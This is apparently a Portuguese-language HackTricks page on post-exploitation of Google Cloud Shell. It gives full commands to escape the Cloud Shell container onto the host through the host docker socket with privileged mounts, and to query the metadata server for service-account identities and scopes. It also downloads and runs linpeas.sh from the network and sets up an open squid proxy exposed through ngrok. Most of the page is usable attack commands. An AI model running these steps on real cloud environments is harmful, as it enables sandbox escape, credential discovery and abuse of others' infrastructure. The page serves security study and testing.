GCP - Cloud Shell Post Exploitation

Support HackTricks

Cloud Shell

Para mais informações sobre Cloud Shell, confira:

Escape de Contêiner

Observe que o Google Cloud Shell é executado dentro de um contêiner, você pode facilmente escapar para o host fazendo:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Isso não é considerado uma vulnerabilidade pelo Google, mas lhe dá uma visão mais ampla do que está acontecendo nesse ambiente.

Além disso, note que a partir do host você pode encontrar um token de conta de serviço:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Com os seguintes escopos:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumere os metadados com LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Após usar https://github.com/carlospolop/bf_my_gcp_permissions com o token da Conta de Serviço nenhuma permissão foi descoberta...

Use como Proxy

Se você quiser usar sua instância do google cloud shell como proxy, você precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):

sudo apt install -y squid

Apenas para você saber, o Squid é um servidor proxy http. Crie um squid.conf arquivo com as seguintes configurações:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copie o arquivo squid.conf para /etc/squid

sudo cp squid.conf /etc/squid

Finalmente, execute o serviço squid:

sudo service squid start

Use ngrok para tornar o proxy disponível externamente:

./ngrok tcp 3128

Após executar, copie a url tcp://. Se você quiser executar o proxy a partir de um navegador, é sugerido remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).

Para melhor uso na inicialização, o arquivo .bashrc deve ter as seguintes linhas:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

As instruções foram copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Verifique essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até mesmo Windows) no Cloud Shell.

Support HackTricks

Last updated